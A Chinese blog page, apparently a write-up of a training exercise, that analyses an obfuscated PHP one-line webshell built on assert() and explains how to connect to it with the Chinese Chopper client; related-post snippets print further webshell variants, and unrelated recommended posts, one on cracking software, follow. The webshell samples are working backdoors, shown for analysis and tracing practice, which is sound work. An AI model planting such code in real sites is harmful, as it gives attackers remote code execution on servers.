WebShell代码分析溯源(第1题)

<?php $POST['POST']='assert';$array[]=$POST;$array[0]['POST']($_POST['assert']);?>
assert,是php代码执行函数,与eval()有同样的功能,assert()函数中参数为表达式 (或者为函数)
因为$array[], POST[]都是数组,所以$array[]=$POST,就是把$POST数组的值赋给$array数组
这样的话$array[0]['POST']的输出就是assert,所以组成了一句话木马
<?php assert($_POST['assert']);?>
构造菜刀 ip/www/index.php?POST=assert 密码为assert


WebShell代码分析溯源(第1题)的更多相关文章
- WebShell代码分析溯源(第1题)墨者学院
		一.访问链接 二.下载系统源码后直接放到D盾里扫描,扫到后门文件 三.查看该木马文件 <?php error_reporting(0); $_GET['POST']($_POST['GET']) ... 
- WebShell代码分析溯源(一)
		WebShell代码分析溯源(一) 一.一句话变形马样本 <?php $_GET['POST']($_POST['GET']);?> 二.代码分析 1.调整代码格式 <?php $_ ... 
- WebShell代码分析溯源(十一)
		WebShell代码分析溯源(十一) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];declare(ticks=1);register_tick_function ( ... 
- WebShell代码分析溯源(十)
		WebShell代码分析溯源(十) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];register_shutdown_function($e, $_REQUEST[' ... 
- WebShell代码分析溯源(九)
		WebShell代码分析溯源(九) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];$arr = array($_POST['pass'] => '|.*|e', ... 
- WebShell代码分析溯源(八)
		WebShell代码分析溯源(八) 一.一句话变形马样本 <?php $e=$_REQUEST['e'];$arr= array('test', $_REQUEST['POST']);uasor ... 
- WebShell代码分析溯源(七)
		WebShell代码分析溯源(七) 一.一句话变形马样本 <?php $e = $_REQUEST['e'];$arr = array($_POST['POST'],);array_map(ba ... 
- WebShell代码分析溯源(六)
		WebShell代码分析溯源 一.一句话变形马样本 <?php call_user_func('assert', $_REQUEST['assert']); ?> 二.代码分析 1.分析代 ... 
- WebShell代码分析溯源(五)
		WebShell代码分析溯源(五) 一.一句话变形马样本 <?php $e=$_REQUEST['e'];$arr=array($_POST['POST'],);array_filter($ar ... 
随机推荐
- Docker容器学习与分享09
			Docker容器之间的相互通信 先新建两个不同的网段,就用分享08里的两个网段作为新建的网段. [root@promote ~]# docker network ls NETWORK ID NAME ... 
- 卷积神经网络入门:LeNet5(手写体数字识别)详解
			第一张图包括8层LeNet5卷积神经网络的结构图,以及其中最复杂的一层S2到C3的结构处理示意图. 第二张图及第三张图是用tensorflow重写LeNet5网络及其注释. 这是原始的LeNet5网络 ... 
- Spirng MVC 重定向传递对象
			在 Spring MVC 中我们会经常遇到重定向. @RequestMapping("/order/saveorder.html") public String saveOrder ... 
- 异常处理(try...catch...final  和 throw , throws)
			1.传统(弱语言)处理异常方式 原理:利用判断来控制异常出现 publicclass Test01 { publicstaticvoid main(String[] args) { Scanner s ... 
- vue之常用指令
			事件缩写 v-on:click= 简写方式 @click= 事件对象$event <!DOCTYPE html> <html lang="en"> < ... 
- leetcode88—Merge Sorted Array
			Given two sorted integer arrays nums1 and nums2, merge nums2 into nums1 as one sorted array. Note: T ... 
- DW 破解方法
			安装破解方法(断网破解): 开始先请先断开网络连接,断网!!! 1.软件下载完成后,打开软件包如上图4个文件(第1个是安装文件夹,第2个是汉化包,第3个是破解文件,第4个是hosts修改工具). 打开 ... 
- 使用Java线程并发库实现两个线程交替打印的线程题
			背景:是这样的今天在地铁上浏览了以下网页,看到网上一朋友问了一个多线程的问题.晚上闲着没事就决定把它实现出来. 题目: 1.开启两个线程,一个线程打印A-Z,两一个线程打印1-52的数据. 2.实现交 ... 
- java的myeclipse,java页面改动默认的javadoc方法
			在项目中右键点击新建class文件,在弹出的框中选择"here" 勾上enable project specific settings 选择comments中的types然后点击e ... 
- 20155211 Exp5 MSF基础应用
			20155211 Exp5 MSF基础应用 基础问题回答 用自己的话解释什么是exploit,payload,encode? exploit:漏洞攻击.一个exploit程序肯定会触发系统的一个或多个 ... 
